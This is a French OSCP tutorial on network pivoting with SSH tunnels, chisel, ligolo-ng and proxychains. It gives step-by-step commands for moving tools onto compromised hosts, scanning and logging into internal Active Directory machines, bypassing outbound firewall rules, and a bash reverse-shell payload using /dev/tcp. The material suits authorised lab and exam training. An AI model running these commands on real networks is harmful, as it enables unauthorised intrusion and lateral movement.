ITSkillsCenter
Cybersécurité

Pivoting réseau pour l’OSCP : SSH, chisel, ligolo-ng et proxychains — tutoriel pas-à-pas

12 min de lecture

Avertissement légal : les techniques de pivoting présentées sont réservées aux environnements de test autorisés — labs OffSec PEN-200, machines CTF, réseaux de test pour lesquels vous avez une autorisation écrite. Toute utilisation sur un réseau tiers sans autorisation est illégale.

Dans l’exam OSCP, le set Active Directory et certains standalone reposent sur des réseaux internes non routables depuis Kali. Le pivoting consiste à utiliser une machine déjà compromise comme relais pour atteindre ces cibles internes. Ce tutoriel couvre les trois méthodes les plus efficaces en exam : SSH tunneling, chisel, et ligolo-ng.

1. Concepts fondamentaux

Topologie typique OSCP AD

Le schéma type ressemble à ceci :

┌─────────────────┐      ┌──────────────────────────────────────────────────┐
│   Kali Linux    │      │              Réseau interne AD                   │
│  10.10.14.x     │      │  192.168.100.0/24                                │
│                 │      │                                                  │
│  (Votre VPN     │      │  ┌──────────────┐    ┌──────────────────────┐   │
│   OffSec)       │      │  │  WEB01       │    │  DC01                │   │
└────────┬────────┘      │  │  10.10.10.20 │    │  192.168.100.10      │   │
         │               │  │  192.168.100.│    └──────────────────────┘   │
         │ accès direct  │  │  20 (dual    │                                │
         └───────────────┼─►│  homed)      │    ┌──────────────────────┐   │
                         │  └──────────────┘    │  FILE01              │   │
                         │       ▲              │  192.168.100.30      │   │
                         │       │ pivot        └──────────────────────┘   │
                         └───────┘──────────────────────────────────────────┘

Machine pivot : WEB01 (dual-homed — visible depuis Kali ET depuis le réseau interne)
Cibles internes : DC01 (192.168.100.10), FILE01 (192.168.100.30)

Vocabulaire

Terme Définition
Pivot / Jump host Machine compromise avec accès aux deux réseaux
SOCKS proxy Proxy qui route n’importe quel protocole TCP/UDP
Port forwarding Rediriger un port spécifique d’un hôte distant vers local
proxychains Outil Linux qui force n’importe quel outil à passer par un proxy SOCKS
TUN interface Interface réseau virtuelle — ligolo-ng en crée une pour un accès transparent

Découvrir les interfaces réseau sur le pivot

Le vocabulaire utile pour la suite :

# Linux
ip a
ip route
cat /etc/hosts

# Windows
ipconfig /all
route print
arp -a

2. Configuration de proxychains

Proxychains force tout outil Linux à passer par un proxy SOCKS. À configurer une fois, utilisé avec toutes les méthodes suivantes.

# Éditer la configuration
sudo nano /etc/proxychains4.conf

# Commenter "proxy_dns" si des résolutions DNS échouent
# proxy_dns

# Dernière ligne — définir le proxy SOCKS5
# (port 1080 par convention, changez selon votre config)
socks5  127.0.0.1 1080
# Utilisation de proxychains
proxychains nmap -sT -p 22,80,445,3389 192.168.100.10
proxychains crackmapexec smb 192.168.100.0/24 -u admin -p Password123
proxychains evil-winrm -i 192.168.100.10 -u Administrator -p Password123
proxychains impacket-psexec domain.local/Administrator@192.168.100.10

# Nmap via proxychains — utiliser -sT (TCP Connect) car SOCKS ne supporte pas SYN
proxychains nmap -sT -Pn -p 80,443,445,3389,5985 192.168.100.10 2>/dev/null

3. SSH — Local Port Forwarding

Redirige un port d’un hôte distant (inaccessible directement) vers un port local sur Kali. Utile pour accéder à un service spécifique derrière le pivot.

Syntaxe

Via WEB01 (10.10.10.20) qui y a accès :

# ssh -L [port_local]:[hôte_cible]:[port_cible] user@pivot
#
# Exemple : accéder au RDP de DC01 (192.168.100.10:3389)
# via WEB01 (10.10.10.20) qui y a accès

ssh -N -f -L 3389:192.168.100.10:3389 user@10.10.10.20
# -N : pas de commande shell (juste le tunnel)
# -f : passer en arrière-plan
# -L : local forwarding

# Connexion RDP depuis Kali vers localhost:3389
xfreerdp /u:Administrator /p:Password123 /v:127.0.0.1:3389

Accéder à un service web interne

Ou avec curl :

# Rediriger le port 80 de FILE01 vers localhost:8080
ssh -N -f -L 8080:192.168.100.30:80 user@10.10.10.20

# Dans Firefox sur Kali : http://127.0.0.1:8080
# Ou avec curl
curl http://127.0.0.1:8080/

Si la clé SSH est une clé privée

Procédure :

ssh -N -f -L 3389:192.168.100.10:3389 -i /tmp/id_rsa user@10.10.10.20

4. SSH — Dynamic Forwarding (SOCKS5)

Crée un proxy SOCKS5 complet sur Kali qui route tout le trafic via le pivot. C’est la méthode la plus flexible — elle permet d’utiliser proxychains avec n’importe quel outil.

Étape 1 — Ouvrir le tunnel SOCKS5

Pour ouvrir le tunnel SOCKS5, voici les commandes :

# Créer un proxy SOCKS5 sur le port 1080 de Kali
ssh -N -f -D 1080 user@10.10.10.20
# -D 1080 : dynamic forwarding sur le port 1080
# Le trafic envoyé sur localhost:1080 sera routé via WEB01

# Avec clé SSH
ssh -N -f -D 1080 -i /tmp/id_rsa user@10.10.10.20

# Vérifier que le port est ouvert
ss -tulpn | grep 1080
# tcp  LISTEN  127.0.0.1:1080

Étape 2 — Utiliser proxychains

Pour utiliser proxychains, voici les commandes :

# Scanner le réseau interne via le proxy SOCKS5
proxychains nmap -sT -Pn -p 22,80,445,3389,5985 --open 192.168.100.0/24

# Enum SMB sur le DC
proxychains crackmapexec smb 192.168.100.10 -u admin -p Password123

# Shell WinRM vers le DC
proxychains evil-winrm -i 192.168.100.10 -u Administrator -p Password123

SSH sans shell interactif (si /bin/false mais SSH disponible)

Concrètement, pour forcer le tunnel même si le shell est restreint :

# Forcer le tunnel même si le shell est restreint
ssh -N -D 1080 -o "StrictHostKeyChecking=no" -o "UserKnownHostsFile=/dev/null" \
  user@10.10.10.20 2>/dev/null

5. SSH — Remote Port Forwarding

Quand le pivot n’a pas SSH sortant vers vous (firewall entrant strict), le remote forwarding permet à la machine pivot d’initier la connexion SSH vers Kali et d’exposer un port distant.

Cas d’usage : reverse tunnel

Depuis le pivot (WEB01), ouvrir un tunnel reverse :

# Prérequis : sshd actif sur Kali (ou votre machine)
sudo systemctl start ssh

# Depuis le pivot (WEB01), ouvrir un tunnel reverse
# -R [port_sur_Kali]:[hôte_cible]:[port_cible]
ssh -N -f -R 8080:192.168.100.10:80 kali@10.10.14.x

# Kali peut maintenant accéder à http://127.0.0.1:8080
# qui pointe vers 192.168.100.10:80 via WEB01

Reverse SOCKS5 (sshd sur Kali)

SSH ne propose pas nativement de reverse SOCKS5 comme on créerait avec -D en local-forwarding. Le contournement consiste à lancer un proxy SOCKS5 (par exemple microsocks ou 3proxy) sur le pivot, puis à forwarder son port via -R :

# Sur le pivot — lancer un SOCKS5 sur 127.0.0.1:1080
microsocks -i 127.0.0.1 -p 1080 &

# Toujours sur le pivot — forwarder ce port vers Kali
ssh -N -f -R 1080:127.0.0.1:1080 kali@10.10.14.x

# Sur Kali — proxychains pointe vers localhost:1080
proxychains nmap -sT -Pn 192.168.100.10

# Pour un reverse SOCKS plus simple, chisel ou ligolo-ng restent la voie la plus fiable
# (voir sections suivantes).

6. Chisel — tunnel HTTP/SOCKS5

Chisel crée des tunnels TCP et SOCKS5 encapsulés dans HTTP ou HTTPS. Idéal quand SSH n’est pas disponible sur le pivot (Windows notamment) ou quand seul le port 80/443 est autorisé en sortie.

Étape 1 — Transférer chisel sur le pivot

Sur Kali — télécharger chisel (choisir la bonne architecture) :

# Sur Kali — télécharger chisel (choisir la bonne architecture)
# https://github.com/jpillora/chisel/releases
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
mv chisel_1.9.1_linux_amd64 chisel
chmod +x chisel

# Binaire Windows pour pivot Windows
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_windows_amd64.gz
gunzip chisel_1.9.1_windows_amd64.gz
mv chisel_1.9.1_windows_amd64 chisel.exe

# Démarrer le serveur HTTP pour le transfert
python3 -m http.server 8080

# Sur le pivot Linux
wget http://10.10.14.x:8080/chisel -O /tmp/chisel
chmod +x /tmp/chisel

# Sur le pivot Windows
certutil -urlcache -split -f http://10.10.14.x:8080/chisel.exe C:\Windows\Temp\chisel.exe

Étape 2 — Serveur chisel sur Kali

Pour serveur chisel sur Kali, voici les commandes :

# Kali = serveur chisel, écoute sur le port 8888
./chisel server --port 8888 --reverse &
# --reverse : permet aux clients d'ouvrir des tunnels en mode reverse

Étape 3 — Client chisel sur le pivot

Pour client chisel sur le pivot, voici les commandes :

# Pivot Linux — ouvrir un tunnel SOCKS5 reverse
/tmp/chisel client 10.10.14.x:8888 R:socks
# R:socks = créer un proxy SOCKS5 reverse sur Kali:1080

# Pivot Windows — même commande
C:\Windows\Temp\chisel.exe client 10.10.14.x:8888 R:socks

Vérifier et utiliser

Kali — vérifier le port SOCKS5 :

# Kali — vérifier le port SOCKS5
ss -tulpn | grep 1080

# Utiliser proxychains (1080 déjà configuré)
proxychains nmap -sT -Pn -p 445,3389 192.168.100.10

Tunnel sur port 80/443 (bypass firewall)

Si seul le port 80 est autorisé en sortie du réseau interne :

# Si seul le port 80 est autorisé en sortie du réseau interne
# Serveur chisel sur Kali port 80
sudo ./chisel server --port 80 --reverse &

# Client sur le pivot
/tmp/chisel client http://10.10.14.x:80 R:socks

7. Ligolo-ng — tunnel TUN transparent (recommandé OSCP)

Ligolo-ng est la méthode la plus élégante pour l’OSCP. Il crée une interface réseau virtuelle (ligolo) sur Kali, permettant d’accéder aux réseaux internes directement — sans proxychains, avec des outils qui ne supportent pas les proxies (comme certains scanners Nmap avancés).

Étape 1 — Télécharger et préparer

Pour télécharger et préparer, voici les commandes :

# Sur Kali — télécharger proxy (serveur) et agent (pivot)
# https://github.com/nicocha30/ligolo-ng/releases

# Proxy pour Kali
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/proxy_linux_amd64 -O proxy
chmod +x proxy

# Agent Linux pour pivot Linux
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/agent_linux_amd64 -O agent
chmod +x agent

# Agent Windows pour pivot Windows
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/agent_windows_amd64.exe -O agent.exe

Étape 2 — Créer l’interface TUN sur Kali

Pour créer l’interface TUN sur Kali, voici les commandes :

# Créer l'interface ligolo (une seule fois)
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

# Vérifier
ip a show ligolo
# ligolo: <POINTOPOINT,UP,LOWER_UP> mtu 1500 qdisc fq_codel...

Étape 3 — Démarrer le proxy ligolo sur Kali

Pour démarrer le proxy ligolo sur Kali, voici les commandes :

./proxy -selfcert -laddr 0.0.0.0:11601
# -selfcert : certificat TLS auto-signé
# -laddr    : écouter sur toutes les interfaces, port 11601

# Interface de contrôle apparaît :
# ligolo-ng »

Étape 4 — Démarrer l’agent sur le pivot

Pour démarrer l’agent sur le pivot, voici les commandes :

# Pivot Linux
./agent -connect 10.10.14.x:11601 -ignore-cert

# Pivot Windows
C:\Windows\Temp\agent.exe -connect 10.10.14.x:11601 -ignore-cert

Étape 5 — Configurer le tunnel dans l’interface ligolo

Pour configurer le tunnel dans l’interface ligolo, voici les commandes :

# Dans l'interface proxy ligolo (Kali)
ligolo-ng » session
# [Agent : WEB01\user@WEB01] - 10.10.10.20:50123 - ...
# Sélectionner la session : 1

ligolo-ng » ifconfig
# Interface eth1 : 192.168.100.20/24  ← réseau interne visible par le pivot

# Démarrer le tunnel
ligolo-ng » start

Étape 6 — Ajouter la route vers le réseau interne sur Kali

Pour ajouter la route vers le réseau interne sur Kali, voici les commandes :

# Ajouter la route via l'interface ligolo
sudo ip route add 192.168.100.0/24 dev ligolo

# Vérifier
ip route show
# 192.168.100.0/24 dev ligolo scope link

Étape 7 — Accès direct sans proxychains

Pour accès direct sans proxychains, voici les commandes :

# Scan Nmap complet (pas besoin de proxychains !)
nmap -p- --min-rate 5000 192.168.100.10

# crackmapexec direct
crackmapexec smb 192.168.100.0/24 -u Administrator -p Password123

# evil-winrm direct
evil-winrm -i 192.168.100.10 -u Administrator -p Password123

# impacket direct
impacket-psexec domain.local/Administrator@192.168.100.10

Listener sur le réseau interne (reverse shells depuis les cibles internes)

Vers Kali (10.10.14.x), le trafic ne peut pas remonter directement :

# Problème : si une cible interne (192.168.100.30) envoie un reverse shell
# vers Kali (10.10.14.x), le trafic ne peut pas remonter directement

# Solution ligolo — listener sur le pivot qui redirige vers Kali
# Dans l'interface proxy ligolo :
ligolo-ng » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp

# Sur Kali — écouter
nc -lvnp 4444

# Payload sur la cible interne (192.168.100.30) :
# bash -i >& /dev/tcp/192.168.100.20/4444 0>&1
# (192.168.100.20 = IP interne du pivot)

8. Double pivot — traverser 2 réseaux

Si DC01 est dans un troisième réseau (192.168.200.0/24) accessible seulement depuis FILE01, il faut chaîner deux pivots.

Topologie

Le schéma type ressemble à ceci :

Kali ──► WEB01 ──► FILE01 ──► DC01
       10.10.10.20  192.168.100.30  192.168.200.10
                   (pivot 1)       (pivot 2)

Double pivot avec ligolo-ng

Concrètement, pour passer l’agent via le premier tunnel :

# Étape 1 : Tunnel vers WEB01 (déjà établi — voir étape précédente)
# Route 192.168.100.0/24 → ligolo OK

# Étape 2 : Depuis WEB01, accéder à FILE01 et y déposer un agent ligolo
# Passer l'agent via le premier tunnel
# (transférer agent vers FILE01 via WEB01)

# Étape 3 : Ouvrir un listener sur WEB01 pour que FILE01 puisse se connecter
ligolo-ng » session  # session 1 = WEB01
ligolo-ng » listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601 --tcp

# Étape 4 : Lancer l'agent sur FILE01
# ./agent -connect 192.168.100.20:11602 -ignore-cert
# (FILE01 se connecte à WEB01:11602 → redirigé vers Kali:11601)

# Étape 5 : Sélectionner la session FILE01 dans ligolo-ng
ligolo-ng » session
# [2] FILE01 ...
# Sélectionner : 2
ligolo-ng » ifconfig  # voir réseau 192.168.200.0/24
ligolo-ng » start

# Étape 6 : Ajouter la route
sudo ip route add 192.168.200.0/24 dev ligolo

9. Checklist exam pivoting

# Action Commande clé
1 Identifier les interfaces réseau du pivot ip a ou ipconfig /all
2 Confirmer les routes existantes ip route ou route print
3 Choisir la méthode de pivot SSH si dispo, sinon chisel/ligolo-ng
4 Créer l’interface TUN (ligolo-ng) sudo ip tuntap add user kali mode tun ligolo
5 Transférer l’agent sur le pivot certutil / wget via HTTP
6 Établir le tunnel proxy + agent ligolo-ng
7 Ajouter la route réseau interne sudo ip route add 192.168.x.0/24 dev ligolo
8 Scanner le réseau interne nmap -sT -Pn 192.168.x.0/24
9 Configurer listener pour reverse shells listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
10 Exploiter les cibles internes normalement evil-winrm, psexec, etc.

Comparaison des méthodes

Méthode Avantages Inconvénients Idéal pour
SSH -D (SOCKS5) Natif, aucun binaire à transférer Requiert SSH sur le pivot, proxychains obligatoire Pivots Linux avec SSH
Chisel Fonctionne sur Windows, passe par HTTP Proxychains toujours nécessaire Pivots Windows, firewalls HTTP-only
Ligolo-ng Accès transparent, tous les outils sans modification Interface TUN à créer sur Kali (1 commande) Exam OSCP — configuration la plus ergonomique

Ressources et références

Prochaines étapes

#OSCP
Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité

Articles Similaires